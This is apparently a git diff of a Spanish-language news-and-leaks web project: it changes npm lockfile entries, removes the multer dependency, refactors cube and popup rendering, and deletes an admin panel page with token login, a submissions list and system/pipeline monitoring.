} }
}, },
"node_modules/streamsearch": {
"version": "1.1.0",
"resolved": "https://registry.npmjs.org/streamsearch/-/streamsearch-1.1.0.tgz",
"integrity": "sha512-Mcc5wHehp9aXz1ax6bZUyY5afg9u2rv5cqQI3mRrYkGC8rW2hM02jWuwjtL++LS5qinSyhj2QfLyNsuc+VsExg==",
"engines": {
"node": ">=10.0.0"
}
},
"node_modules/string_decoder": { "node_modules/string_decoder": {
"version": "1.3.0", "version": "1.3.0",
"resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz",
"integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==",
"dev": true,
"license": "MIT", "license": "MIT",
"dependencies": { "dependencies": {
"safe-buffer": "~5.2.0" "safe-buffer": "~5.2.0"
@ -11455,6 +11387,7 @@
"version": "0.0.6", "version": "0.0.6",
"resolved": "https://registry.npmjs.org/typedarray/-/typedarray-0.0.6.tgz", "resolved": "https://registry.npmjs.org/typedarray/-/typedarray-0.0.6.tgz",
"integrity": "sha512-/aCDEGatGvZ2BIk+HmLf4ifCJFwvKFNb9/JeZPMulfgFracn9QFcAf5GO8B/mweUjSoblS5In0cWhqpfs/5PQA==", "integrity": "sha512-/aCDEGatGvZ2BIk+HmLf4ifCJFwvKFNb9/JeZPMulfgFracn9QFcAf5GO8B/mweUjSoblS5In0cWhqpfs/5PQA==",
"dev": true,
"license": "MIT" "license": "MIT"
}, },
"node_modules/unbox-primitive": { "node_modules/unbox-primitive": {
@ -11816,6 +11749,7 @@
"version": "1.0.2", "version": "1.0.2",
"resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz",
"integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==", "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==",
"dev": true,
"license": "MIT" "license": "MIT"
}, },
"node_modules/util.promisify": { "node_modules/util.promisify": {

View file

@ -22,7 +22,6 @@
"mongod": "^2.0.0", "mongod": "^2.0.0",
"mongodb": "^6.9.0", "mongodb": "^6.9.0",
"mongoose": "^7.3.4", "mongoose": "^7.3.4",
"multer": "^2.2.0",
"node-fetch": "^3.3.2", "node-fetch": "^3.3.2",
"tree": "^0.1.3" "tree": "^0.1.3"
}, },

0
BACK_BACK/FLUJOS_APP.js.save → FLUJOS/README.md Executable file → Normal file
View file

View file

@ -85,27 +85,24 @@
cubeContainer.style.top = position.y + 'px'; cubeContainer.style.top = position.y + 'px';
cubeContainer.style.left = position.x + 'px'; cubeContainer.style.left = position.x + 'px';
const cube = document.createElement('div'); cubeContainer.innerHTML = `
cube.className = 'cube'; <div class="cube">
[['front', `País ${i}`], ['back', `Detalle ${i}`], <div class="face front">País ${i}</div>
['left', `Año ${2000 + i}`], ['right', `Muertos ${(i + 1) * 1000}`], <div class="face back">Detalle ${i}</div>
['top', 'ONU'], ['bottom', 'Fuente']].forEach(([cls, txt]) => { <div class="face left">Año ${2000 + i}</div>
const face = document.createElement('div'); <div class="face right">Muertos ${(i + 1) * 1000}</div>
face.className = `face ${cls}`; <div class="face top">ONU</div>
face.textContent = txt; <div class="face bottom">Fuente</div>
cube.appendChild(face); </div>
}); `;
cubeContainer.appendChild(cube);
// Crear un popup para cada cubo // Crear un popup para cada cubo
const popup = document.createElement('div'); const popup = document.createElement('div');
popup.classList.add('popup'); popup.classList.add('popup');
const p = document.createElement('p'); popup.innerHTML = `
p.textContent = `Noticia relacionada con País ${i}`; <p>Noticia relacionada con País ${i}</p>
const btn = document.createElement('button'); <button>Close</button>
btn.textContent = 'Close'; `;
popup.appendChild(p);
popup.appendChild(btn);
popup.querySelector('button').addEventListener('click', () => { popup.querySelector('button').addEventListener('click', () => {
popup.style.display = 'none'; popup.style.display = 'none';

View file

@ -1,463 +0,0 @@
<!DOCTYPE html>
<html lang="es">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="robots" content="noindex">
<meta name="referrer" content="no-referrer">
<title>UP-LEAKS // panel</title>
<style>
@font-face { font-family: 'Fira Code'; src: url('/fonts/fira-code-400.woff2') format('woff2'); font-weight: 400; font-display: swap; }
@font-face { font-family: 'Fira Code'; src: url('/fonts/fira-code-500.woff2') format('woff2'); font-weight: 500; font-display: swap; }
@font-face { font-family: 'Fira Code'; src: url('/fonts/fira-code-700.woff2') format('woff2'); font-weight: 700; font-display: swap; }
:root {
--neon: #39ff14; --neon-soft: #7dff5e; --neon-deep: #0e3a08; --bg: #000; --panel: #080d08; --panel-2: #0b120b;
--line: #1c4a14; --line-soft: #12300d; --ink: #d7f5d0; --muted: #6f9a6a; --faint: #46603f;
--red: #ff2d2d; --amber: #ffb800;
--mono: 'Fira Code', ui-monospace, Menlo, Consolas, monospace; --glow: 0 0 8px rgba(57,255,20,.55);
}
* { box-sizing: border-box; }
body {
margin: 0; background: var(--bg); color: var(--ink); font-family: var(--mono); font-size: 14px; line-height: 1.6;
background-image: repeating-linear-gradient(0deg, rgba(57,255,20,.015) 0 1px, transparent 1px 3px);
-webkit-font-smoothing: antialiased;
}
a { color: var(--neon); }
.wrap { max-width: 1000px; margin: 0 auto; padding: 0 20px; }
::selection { background: var(--neon); color: #000; }
header.top { border-bottom: 1px solid var(--line); }
.top .wrap { display: flex; align-items: center; justify-content: space-between; height: 60px; }
.brand { font-weight: 700; letter-spacing: .2em; }
.brand b { color: var(--neon); text-shadow: var(--glow); }
.brand .sub { color: var(--muted); font-weight: 400; font-size: 12px; letter-spacing: .1em; }
button {
background: transparent; color: var(--neon); border: 1px solid var(--neon); font-family: var(--mono);
font-weight: 700; padding: 10px 20px; cursor: pointer; text-transform: uppercase; letter-spacing: .06em; font-size: 12.5px;
transition: background .16s, color .16s, box-shadow .16s;
}
button:hover:not(:disabled) { background: var(--neon); color: #000; box-shadow: 0 0 16px -2px rgba(57,255,20,.7); }
button:disabled { opacity: .5; cursor: wait; }
button.ghost { border-color: var(--line); color: var(--muted); }
button.ghost:hover { border-color: var(--neon); color: var(--neon); background: transparent; box-shadow: none; }
/* gate */
.gate { max-width: 460px; margin: 90px auto; border: 1px solid var(--line); background: var(--panel); padding: 30px; }
.gate h1 { font-size: 17px; margin: 0 0 6px; font-weight: 500; }
.gate h1::before { content: "// "; color: var(--neon); }
.gate p { color: var(--muted); font-size: 12.5px; margin: 0 0 18px; }
input[type="password"], input[type="text"] {
width: 100%; background: var(--bg); border: 1px solid var(--line); color: var(--ink); padding: 12px; font-family: var(--mono); font-size: 14px;
}
input:focus { outline: none; border-color: var(--neon); box-shadow: 0 0 0 1px var(--neon), 0 0 14px -2px rgba(57,255,20,.5); }
.gate .row { display: flex; gap: 10px; margin-top: 16px; }
.gate-err { color: var(--red); font-size: 12.5px; margin-top: 12px; min-height: 1.2em; }
/* tabs + toolbar */
.toolbar { display: flex; align-items: center; gap: 12px; padding: 20px 0 12px; flex-wrap: wrap; }
.tabs { display: flex; gap: 6px; }
.tabs button { padding: 8px 16px; font-size: 12px; }
.tabs button.active { background: var(--neon-deep); color: var(--neon); border-color: var(--neon); }
.spacer { flex: 1; }
.updated { color: var(--faint); font-size: 11.5px; letter-spacing: .04em; }
/* ------- submissions ------- */
.filters { display: flex; gap: 6px; margin: 4px 0 14px; }
.filters button { padding: 6px 12px; font-size: 11px; }
.filters button.active { background: var(--neon-deep); color: var(--neon); border-color: var(--neon); }
.list { display: flex; flex-direction: column; gap: 12px; padding-bottom: 60px; }
.sub { border: 1px solid var(--line); background: var(--panel); padding: 16px 18px; }
.sub .head { display: flex; align-items: center; gap: 12px; flex-wrap: wrap; margin-bottom: 8px; }
.sub .ref { color: var(--neon); font-weight: 700; }
.sub .date { color: var(--muted); font-size: 12px; }
.sub .tema { color: var(--ink); font-size: 12px; border: 1px solid var(--line); padding: 1px 8px; }
.badge { font-size: 10.5px; text-transform: uppercase; letter-spacing: .08em; padding: 2px 8px; border: 1px solid; }
.badge.nuevo { color: var(--neon); border-color: var(--neon); }
.badge.revisado { color: var(--amber); border-color: var(--amber); }
.badge.archivado { color: var(--faint); border-color: var(--line); }
.sub .msg { white-space: pre-wrap; word-break: break-word; color: var(--ink); font-size: 13.5px; margin: 8px 0; }
.sub .contacto { color: var(--muted); font-size: 12.5px; }
.sub .contacto b { color: var(--ink); }
.files { display: flex; flex-direction: column; gap: 5px; margin: 10px 0 4px; }
.files a { display: inline-flex; align-items: center; gap: 8px; font-size: 12.5px; cursor: pointer; }
.files a::before { content: "⬇ "; color: var(--neon); }
.actions { display: flex; gap: 8px; margin-top: 12px; padding-top: 10px; border-top: 1px solid var(--line); }
.actions button { padding: 5px 12px; font-size: 10.5px; }
.empty { color: var(--muted); text-align: center; padding: 50px; }
/* ------- system (htop) ------- */
.tiles { display: grid; grid-template-columns: repeat(4, 1fr); gap: 12px; margin-bottom: 20px; }
@media (max-width: 720px) { .tiles { grid-template-columns: repeat(2, 1fr); } }
.tile { border: 1px solid var(--line); background: var(--panel); padding: 14px 16px; }
.tile .k { font-size: 10.5px; letter-spacing: .12em; text-transform: uppercase; color: var(--faint); }
.tile .v { font-size: 24px; font-weight: 700; margin: 6px 0 8px; color: var(--ink); font-variant-numeric: tabular-nums; }
.tile .v small { font-size: 13px; color: var(--muted); font-weight: 400; }
.sec-title { font-size: 11.5px; letter-spacing: .14em; text-transform: uppercase; color: var(--muted); margin: 22px 0 12px; }
.sec-title::before { content: "// "; color: var(--neon); }
.meter { height: 9px; background: rgba(57,255,20,.08); border: 1px solid var(--line-soft); position: relative; overflow: hidden; }
.meter > span { position: absolute; left: 0; top: 0; bottom: 0; background: linear-gradient(90deg, var(--neon), var(--neon-soft)); transition: width .5s ease; }
.meter.warn > span { background: linear-gradient(90deg, #b8860b, var(--amber)); }
.meter.crit > span { background: linear-gradient(90deg, #a01d1d, var(--red)); }
.svcs { display: flex; flex-wrap: wrap; gap: 8px; margin-bottom: 8px; }
.svc { font-size: 11px; padding: 4px 10px; border: 1px solid; letter-spacing: .04em; }
.svc.up { color: var(--neon); border-color: var(--neon); }
.svc.down { color: var(--red); border-color: var(--red); }
.svc::before { content: "● "; }
.procs { border: 1px solid var(--line); background: var(--panel); }
.prow { display: grid; grid-template-columns: 1.6fr 60px 1.3fr 70px 66px; gap: 10px; align-items: center;
padding: 10px 14px; border-bottom: 1px solid var(--line-soft); font-size: 12.5px; }
.prow:last-child { border-bottom: none; }
.prow.hdr { color: var(--faint); font-size: 10.5px; letter-spacing: .1em; text-transform: uppercase; }
.prow .name { color: var(--ink); overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
.prow .name.viejo { color: var(--red); }
.prow .cpu { text-align: right; font-variant-numeric: tabular-nums; color: var(--neon); }
.prow .mem, .prow .time, .prow .pid { color: var(--muted); font-variant-numeric: tabular-nums; }
.prow .time { text-align: right; } .prow .pid { text-align: right; color: var(--faint); }
.prog { display: flex; flex-direction: column; gap: 14px; margin-bottom: 40px; }
.prog .item .top { display: flex; justify-content: space-between; margin-bottom: 5px; font-size: 12.5px; }
.prog .item .lbl { color: var(--ink); } .prog .item .val { color: var(--muted); font-variant-numeric: tabular-nums; }
.prog .item .val b { color: var(--neon); }
.kv { display: flex; gap: 24px; flex-wrap: wrap; margin-top: 4px; font-size: 12.5px; color: var(--muted); }
.kv b { color: var(--neon); }
/* ------- pipelines ------- */
#pipesView { padding-bottom: 50px; }
.pipe { border: 1px solid var(--line); background: var(--panel); padding: 20px 22px; margin-bottom: 14px; }
.pipe .phead { display: flex; justify-content: space-between; align-items: baseline; gap: 12px; margin-bottom: 16px; flex-wrap: wrap; }
.pipe .ptitle { font-size: 15.5px; font-weight: 700; color: var(--ink); }
.pipe .pcad { color: var(--faint); font-weight: 400; font-size: 12px; }
.pstate { font-size: 10.5px; text-transform: uppercase; letter-spacing: .08em; padding: 3px 10px; border: 1px solid; white-space: nowrap; }
.pstate.e-run { color: var(--neon); border-color: var(--neon); }
.pstate.e-idle { color: var(--faint); border-color: var(--line); }
.pstate.e-err { color: var(--red); border-color: var(--red); }
.steps-bar, .flow { display: flex; gap: 5px; align-items: stretch; }
.flow { align-items: center; gap: 2px; flex-wrap: wrap; }
.seg { flex: 1; min-width: 92px; border: 1px solid var(--line-soft); padding: 12px 8px; display: flex; flex-direction: column; gap: 4px; align-items: center; justify-content: center; min-height: 54px; text-align: center; }
.seg .sl { font-size: 12px; color: var(--ink); }
.seg .sd { font-size: 10.5px; color: var(--muted); font-variant-numeric: tabular-nums; }
.seg.done { background: var(--neon-deep); border-color: var(--neon); }
.seg.done .sl { color: var(--neon); }
.seg.run { border-color: var(--neon); background: rgba(57,255,20,.1); animation: pulse 1.4s ease-in-out infinite; }
.seg.run .sl { color: var(--neon); text-shadow: var(--glow); }
.seg.err { border-color: var(--red); } .seg.err .sl, .seg.err .sd { color: var(--red); }
.seg.pend { opacity: .5; } .seg.pend .sl { color: var(--faint); }
.seg.live { border-color: var(--neon); } .seg.live .sl { color: var(--neon); }
.flow .arrow { color: var(--faint); font-size: 15px; padding: 0 2px; }
@keyframes pulse { 0%,100% { box-shadow: 0 0 0 0 rgba(57,255,20,0); } 50% { box-shadow: 0 0 16px -2px rgba(57,255,20,.6); } }
@media (prefers-reduced-motion: reduce) { .seg.run { animation: none; } }
.bigbar { height: 26px; background: rgba(57,255,20,.08); border: 1px solid var(--line); position: relative; overflow: hidden; margin-bottom: 12px; }
.bigbar > span { position: absolute; left: 0; top: 0; bottom: 0; background: linear-gradient(90deg, var(--neon), var(--neon-soft)); transition: width .6s ease; }
.bigbar > em { position: absolute; inset: 0; display: flex; align-items: center; justify-content: center; font-style: normal; font-size: 12px; font-weight: 700; color: #fff; mix-blend-mode: difference; }
.pmeta { display: flex; gap: 22px; flex-wrap: wrap; font-size: 12.5px; color: var(--muted); }
.pmeta b { color: var(--neon); }
.pstats { margin-top: 12px; padding-top: 10px; border-top: 1px solid var(--line-soft); font-size: 12px; color: var(--muted); }
.pstats b { color: var(--ink); }
</style>
</head>
<body>
<header class="top">
<div class="wrap">
<span class="brand"><b>UP</b>-LEAKS <span class="sub">// panel de control</span></span>
<button class="ghost" id="logoutBtn" style="display:none">salir</button>
</div>
</header>
<div class="wrap" id="gateWrap">
<div class="gate">
<h1>acceso restringido</h1>
<p>Introduce el token de administración.</p>
<input type="password" id="tokenInput" placeholder="ADMIN_TOKEN" autocomplete="off">
<div class="row"><button id="loginBtn">entrar</button></div>
<div class="gate-err" id="gateErr"></div>
</div>
</div>
<div class="wrap" id="panel" style="display:none">
<div class="toolbar">
<div class="tabs">
<button data-tab="envios" class="active">envíos</button>
<button data-tab="pipelines">pipelines</button>
<button data-tab="sistema">sistema</button>
</div>
<span class="spacer"></span>
<span class="updated" id="updated"></span>
<button class="ghost" id="refreshBtn">refrescar</button>
</div>
<!-- ENVÍOS -->
<div id="enviosView">
<div class="filters" id="filters">
<button data-f="todos" class="active">todos</button>
<button data-f="nuevo">nuevos</button>
<button data-f="revisado">revisados</button>
<button data-f="archivado">archivados</button>
</div>
<div class="list" id="list"></div>
</div>
<!-- PIPELINES -->
<div id="pipesView" style="display:none">
<div id="pipesView-body"></div>
</div>
<!-- SISTEMA -->
<div id="systemView" style="display:none">
<div class="tiles" id="tiles"></div>
<div class="sec-title">servicios</div>
<div class="svcs" id="svcs"></div>
<div class="sec-title">procesos en marcha</div>
<div class="procs" id="procs"></div>
<div class="sec-title">procesamiento</div>
<div class="prog" id="prog"></div>
</div>
</div>
<script>
(function () {
var TOKEN = sessionStorage.getItem('upl_admin_token') || '';
var subsData = [], filter = 'todos', tab = 'envios', sysTimer = null;
var $ = function (id) { return document.getElementById(id); };
function authHeaders() { return { 'Authorization': 'Bearer ' + TOKEN }; }
function esc(s) { return String(s == null ? '' : s).replace(/[&<>"]/g, function (c) { return ({ '&': '&amp;', '<': '&lt;', '>': '&gt;', '"': '&quot;' })[c]; }); }
function fmtDate(d) { try { return new Date(d).toLocaleString('es-ES'); } catch (e) { return d; } }
function human(b) { if (b < 1024) return b + ' B'; if (b < 1048576) return (b / 1024).toFixed(1) + ' KB'; if (b < 1073741824) return (b / 1048576).toFixed(1) + ' MB'; return (b / 1073741824).toFixed(1) + ' GB'; }
function dur(s) { s = Math.max(0, Math.round(s)); var d = Math.floor(s / 86400), h = Math.floor(s % 86400 / 3600), m = Math.floor(s % 3600 / 60); if (d) return d + 'd ' + h + 'h'; if (h) return h + 'h ' + m + 'm'; if (m) return m + 'm ' + (s % 60) + 's'; return s + 's'; }
function rel(ts) { var s = (Date.now() - new Date(ts).getTime()) / 1000; if (s < 60) return 'hace ' + Math.round(s) + 's'; if (s < 3600) return 'hace ' + Math.round(s / 60) + ' min'; if (s < 86400) return 'hace ' + Math.round(s / 3600) + ' h'; return 'hace ' + Math.round(s / 86400) + ' d'; }
function meter(pct, cls) { pct = Math.max(0, Math.min(100, pct)); return '<div class="meter ' + (cls || '') + '"><span style="width:' + pct + '%"></span></div>'; }
function showPanel(show) { $('gateWrap').style.display = show ? 'none' : ''; $('panel').style.display = show ? '' : 'none'; $('logoutBtn').style.display = show ? '' : 'none'; }
/* ---------- ENVÍOS ---------- */
function loadSubs() {
return fetch('/api/submissions?limit=500', { headers: authHeaders() })
.then(function (r) {
if (r.status === 401) throw new Error('Token incorrecto.');
if (r.status === 503) throw new Error('Panel no configurado en el servidor (falta ADMIN_TOKEN).');
return r.json();
})
.then(function (d) {
if (!d.ok) throw new Error(d.error || 'Error');
subsData = d.submissions || []; sessionStorage.setItem('upl_admin_token', TOKEN);
showPanel(true); renderSubs(); markUpdated();
});
}
function renderSubs() {
var list = $('list');
var items = subsData.filter(function (s) { return filter === 'todos' || s.estado === filter; });
if (!items.length) { list.innerHTML = '<div class="empty">— sin envíos —</div>'; return; }
list.innerHTML = '';
items.forEach(function (s) {
var el = document.createElement('div'); el.className = 'sub';
var files = (s.archivos || []).map(function (f) { return '<a data-file="' + esc(f.guardado) + '" data-name="' + esc(f.nombre_original) + '">' + esc(f.nombre_original) + ' · ' + human(f.bytes || 0) + '</a>'; }).join('');
el.innerHTML =
'<div class="head"><span class="ref">' + esc(s.ref) + '</span><span class="date">' + esc(fmtDate(s.creado)) + '</span>' +
'<span class="tema">' + esc(s.tema) + '</span><span class="badge ' + esc(s.estado) + '">' + esc(s.estado) + '</span></div>' +
(s.mensaje ? '<div class="msg">' + esc(s.mensaje) + '</div>' : '<div class="msg" style="color:var(--faint)">(sin mensaje)</div>') +
(s.contacto ? '<div class="contacto">contacto: <b>' + esc(s.contacto) + '</b></div>' : '') +
(files ? '<div class="files">' + files + '</div>' : '') +
'<div class="actions"><button data-act="revisado" data-ref="' + esc(s.ref) + '">marcar revisado</button>' +
'<button data-act="archivado" data-ref="' + esc(s.ref) + '">archivar</button>' +
'<button data-act="nuevo" data-ref="' + esc(s.ref) + '" class="ghost">reabrir</button></div>';
list.appendChild(el);
});
}
function downloadFile(g, name) {
fetch('/api/submissions/file/' + encodeURIComponent(g), { headers: authHeaders() })
.then(function (r) { if (!r.ok) throw new Error(); return r.blob(); })
.then(function (blob) { var u = URL.createObjectURL(blob); var a = document.createElement('a'); a.href = u; a.download = name || g; document.body.appendChild(a); a.click(); a.remove(); setTimeout(function () { URL.revokeObjectURL(u); }, 4000); })
.catch(function () { alert('No se pudo descargar el archivo.'); });
}
function setEstado(ref, estado) {
fetch('/api/submissions/' + encodeURIComponent(ref) + '/estado', { method: 'POST', headers: Object.assign({ 'Content-Type': 'application/json' }, authHeaders()), body: JSON.stringify({ estado: estado }) })
.then(function (r) { return r.json(); }).then(function (d) { if (d.ok) { var it = subsData.find(function (s) { return s.ref === ref; }); if (it) it.estado = estado; renderSubs(); } });
}
/* ---------- SISTEMA ---------- */
function loadSystem() {
return fetch('/api/system', { headers: authHeaders() })
.then(function (r) { if (r.status === 401) throw new Error('Token incorrecto.'); return r.json(); })
.then(function (d) { if (!d.ok) throw new Error(d.error || 'Error'); renderSystem(d); renderPipes(d); markUpdated(); });
}
function statsLine(fases) {
var f = (fases || []).find(function (x) { return x.stats && Object.keys(x.stats).length; });
if (!f) return '';
var parts = Object.keys(f.stats).slice(0, 5).map(function (k) { return esc(k.replace(/_/g, ' ')) + ': <b>' + esc(f.stats[k]) + '</b>'; });
return '<div class="pstats">' + esc(f.label) + ' → ' + parts.join(' · ') + '</div>';
}
function renderPipes(d) {
var out = '';
var pr = d.progress;
var procBy = function (k) { return (d.procesos || []).find(function (x) { return x.key === k; }); };
/* ---- 1 · Comparación semántica v2 (el motor nuevo, foco actual) ---- */
var c = d.comparacion, motor = procBy('motor');
if (c) {
var badgeCls, badgeTxt;
if (motor) { badgeCls = 'e-run'; badgeTxt = 'regenerando'; }
else if (c.v2Activa) { badgeCls = 'e-run'; badgeTxt = 'activa en el grafo'; }
else if (c.v2Aristas > 0) { badgeCls = 'e-idle'; badgeTxt = 'lista · standby'; }
else { badgeCls = 'e-idle'; badgeTxt = 'sin generar'; }
var srvV1 = !c.v2Activa, srvV2 = c.v2Activa;
out += '<div class="pipe"><div class="phead"><span class="ptitle">Comparación semántica · v2 <span class="pcad">· noticias ↔ leaks por embeddings</span></span>' +
'<span class="pstate ' + badgeCls + '">' + badgeTxt + '</span></div>' +
'<div class="steps-bar">' +
'<div class="seg ' + (srvV2 ? 'done' : 'pend') + '"><span class="sl">v2 semántica</span><span class="sd">' + c.v2Aristas.toLocaleString('es-ES') + ' aristas</span></div>' +
'<div class="seg ' + (srvV1 ? 'live' : 'pend') + '"><span class="sl">v1 word-overlap</span><span class="sd">' + (c.v1Aristas >= 1e6 ? (c.v1Aristas / 1e6).toFixed(0) + 'M' : c.v1Aristas.toLocaleString('es-ES')) + ' aristas</span></div>' +
'</div>' +
'<div class="pmeta" style="margin-top:14px">' +
'<span>sirve al grafo: <b>' + esc(c.activa) + '</b></span>' +
'<span>posible_evento: <b>' + (c.v2Eventos || 0).toLocaleString('es-ES') + '</b></span>' +
(c.modelo ? '<span>modelo: <b>' + esc(c.modelo) + '</b></span>' : '') +
(motor ? '<span>regen: <b>' + dur(motor.etimes) + '</b> · CPU <b>' + motor.cpu.toFixed(0) + '%</b></span>' : '') +
'</div>' +
(c.v2Aristas > 0 && !c.v2Activa && !motor ? '<div class="pstats">v2 generada y en espera → falta el switch del front (<b>COMPARACIONES_COL=comparaciones_v2</b> + restart).</div>' : '') +
'</div>';
}
/* ---- 2 · Backfill de embeddings (leaks → vectores) ---- */
var bf = procBy('backfill');
if (pr) {
var noApto = pr.torrNoApto || 0;
var bpct = pr.torrTotal ? pr.torrEmb / pr.torrTotal * 100 : 0;
var procDone = (pr.torrEmb + noApto) >= pr.torrTotal;
var bBadge = bf ? 'e-run' : (procDone ? 'e-idle' : 'e-idle');
var bTxt = bf ? 'ejecutando' : (procDone ? 'completado' : 'detenido');
out += '<div class="pipe"><div class="phead"><span class="ptitle">Backfill de embeddings <span class="pcad">· leaks → vectores</span></span>' +
'<span class="pstate ' + bBadge + '">' + bTxt + '</span></div>' +
'<div class="bigbar"><span style="width:' + Math.min(100, bpct).toFixed(1) + '%"></span><em>' + pr.torrEmb.toLocaleString('es-ES') + ' embebidos / ' + pr.torrTotal.toLocaleString('es-ES') + ' · ' + bpct.toFixed(0) + '%</em></div>' +
'<div class="pmeta">' + (bf ? '<span>en marcha: <b>' + dur(bf.etimes) + '</b></span><span>CPU: <b>' + bf.cpu.toFixed(0) + '%</b></span>' : '<span>proceso no activo</span>') +
'<span>no aptos: <b>' + noApto.toLocaleString('es-ES') + '</b></span>' +
'<span>pendientes: <b>' + Math.max(0, pr.torrTotal - pr.torrEmb - noApto).toLocaleString('es-ES') + '</b></span>' +
'<span>chunks: <b>' + pr.chunks.toLocaleString('es-ES') + '</b></span></div></div>';
}
/* ---- 3 · Coconews flujo continuo (noticias) ---- */
var stages = [['ingestor', 'Ingesta RSS'], ['translator', 'Traducción'], ['ner', 'Entidades'], ['embedder', 'Embedding']];
var svcMap = {}; (d.services || []).forEach(function (s) { svcMap[s.name] = s.active; });
var flow = stages.map(function (k) {
var a = svcMap['coconews-' + k[0]];
return '<div class="seg ' + (a ? 'live' : 'pend') + '"><span class="sl">' + k[1] + '</span><span class="sd">' + (a ? 'en vivo' : 'off') + '</span></div>';
}).join('<span class="arrow"></span>');
out += '<div class="pipe"><div class="phead"><span class="ptitle">Coconews · flujo continuo <span class="pcad">· noticias en tiempo real</span></span>' +
'<span class="pstate e-run">continuo</span></div><div class="flow">' + flow + '</div>' +
(pr ? '<div class="pmeta" style="margin-top:14px"><span>noticias embebidas: <b>' + pr.notiEmb.toLocaleString('es-ES') + '</b> / ' + pr.notiTotal.toLocaleString('es-ES') + '</span>' + (pr.lastNoti ? '<span>última noticia: <b>' + rel(pr.lastNoti) + '</b></span>' : '') + '</div>' : '') + '</div>';
/* ---- 4 · Pipeline maestro word-overlap (legacy · retirado) ---- */
var p = d.pipelines && d.pipelines.maestro;
if (p) {
var retirado = !p.habilitado && !p.running;
var segs = p.fases.map(function (f) {
var cls = retirado ? 'pend' : (f.estado === 'completado' ? 'done' : (f.estado === 'en_progreso' ? 'run' : (f.estado === 'error' ? 'err' : 'pend')));
return '<div class="seg ' + cls + '"><span class="sl">' + esc(f.label) + '</span><span class="sd">' + (f.durSec != null ? dur(f.durSec) : '—') + '</span></div>';
}).join('');
var stCls, stTxt;
if (retirado) { stCls = 'e-idle'; stTxt = 'retirado'; }
else if (p.running) { stCls = 'e-run'; stTxt = 'ejecutando'; }
else if (p.estado === 'error') { stCls = 'e-err'; stTxt = 'con errores'; }
else { stCls = 'e-idle'; stTxt = 'en espera'; }
var next = retirado ? 'desactivado' : (p.nextRun ? (p.running ? 'en ejecución' : 'en ' + dur((p.nextRun - d.now) / 1000)) : '—');
out += '<div class="pipe" style="opacity:' + (retirado ? '.72' : '1') + '"><div class="phead"><span class="ptitle">Comparación word-overlap <span class="pcad">· motor viejo' + (retirado ? ', sustituido por v2' : ' · ' + esc(p.cadencia)) + '</span></span>' +
'<span class="pstate ' + stCls + '">' + stTxt + '</span></div>' +
'<div class="steps-bar">' + segs + '</div>' +
'<div class="pmeta" style="margin-top:14px">' +
'<span>última ejecución: <b>' + (p.lastDurSec != null ? dur(p.lastDurSec) : '—') + '</b>' + (p.lastFin ? ' (' + rel(p.lastFin) + ')' : '') + '</span>' +
'<span>próxima: <b>' + next + '</b></span></div>' +
(retirado ? '<div class="pstats">Timer <b>flujos-pipeline</b> deshabilitado. La colección <b>comparaciones</b> (word-overlap) se conserva intacta como respaldo.</div>' : statsLine(p.fases)) +
'</div>';
}
$('pipesView-body').innerHTML = out || '<div class="empty">— sin datos de pipeline —</div>';
}
function renderSystem(d) {
var h = d.host, load1 = h.load[0], loadPct = (load1 / h.cores) * 100;
var loadCls = loadPct > 100 ? 'crit' : (loadPct > 70 ? 'warn' : '');
var memUsed = h.totalmem - h.freemem, memPct = memUsed / h.totalmem * 100;
var memCls = memPct > 90 ? 'crit' : (memPct > 75 ? 'warn' : '');
$('tiles').innerHTML =
tile('Carga (1m)', load1.toFixed(2) + ' <small>/ ' + h.cores + ' cores</small>', loadPct, loadCls) +
tile('Memoria', human(memUsed) + ' <small>/ ' + human(h.totalmem) + '</small>', memPct, memCls) +
tile('Núcleos', h.cores + ' <small>CPU</small>', null) +
tile('Uptime', dur(h.uptime), null);
$('svcs').innerHTML = (d.services || []).map(function (s) {
return '<span class="svc ' + (s.active ? 'up' : 'down') + '">' + esc(s.name) + '</span>';
}).join('');
var procs = (d.procesos || []).slice().sort(function (a, b) { return b.cpu - a.cpu; });
var rows = '<div class="prow hdr"><span>proceso</span><span style="text-align:right">cpu%</span><span>cpu</span><span style="text-align:right">tiempo</span><span style="text-align:right">pid</span></div>';
rows += procs.map(function (p) {
var barCls = p.cpu > 100 ? 'warn' : '';
return '<div class="prow"><span class="name ' + (p.key === 'mongolo' ? 'viejo' : '') + '">' + esc(p.label) + '</span>' +
'<span class="cpu">' + p.cpu.toFixed(0) + '%</span>' +
'<span>' + meter(Math.min(100, p.cpu), barCls) + '</span>' +
'<span class="time">' + dur(p.etimes) + '</span>' +
'<span class="pid">' + p.pid + '</span></div>';
}).join('');
if (!procs.length) rows += '<div class="prow"><span class="name" style="color:var(--faint)">— sin procesos activos —</span></div>';
$('procs').innerHTML = rows;
var pr = d.progress, out = '';
if (pr) {
out += progItem('Leaks embebidos (embeddings)', pr.torrEmb, pr.torrTotal);
out += progItem('Noticias embebidas', pr.notiEmb, pr.notiTotal);
out += progItem('Feeds activos', pr.feedsAct, pr.feedsAct, pr.feedsFallo + ' con fallos');
var next = d.nextPipeline ? (d.nextPipeline > d.now ? 'en ' + dur((d.nextPipeline - d.now) / 1000) : 'inminente') : 'sin programar';
out += '<div class="kv"><span>chunks de embeddings: <b>' + pr.chunks.toLocaleString('es-ES') + '</b></span>' +
'<span>envíos nuevos: <b>' + pr.subsNuevos + '</b></span>' +
'<span>próximo pipeline: <b>' + next + '</b></span>' +
(pr.lastNoti ? '<span>última noticia: <b>' + rel(pr.lastNoti) + '</b></span>' : '') + '</div>';
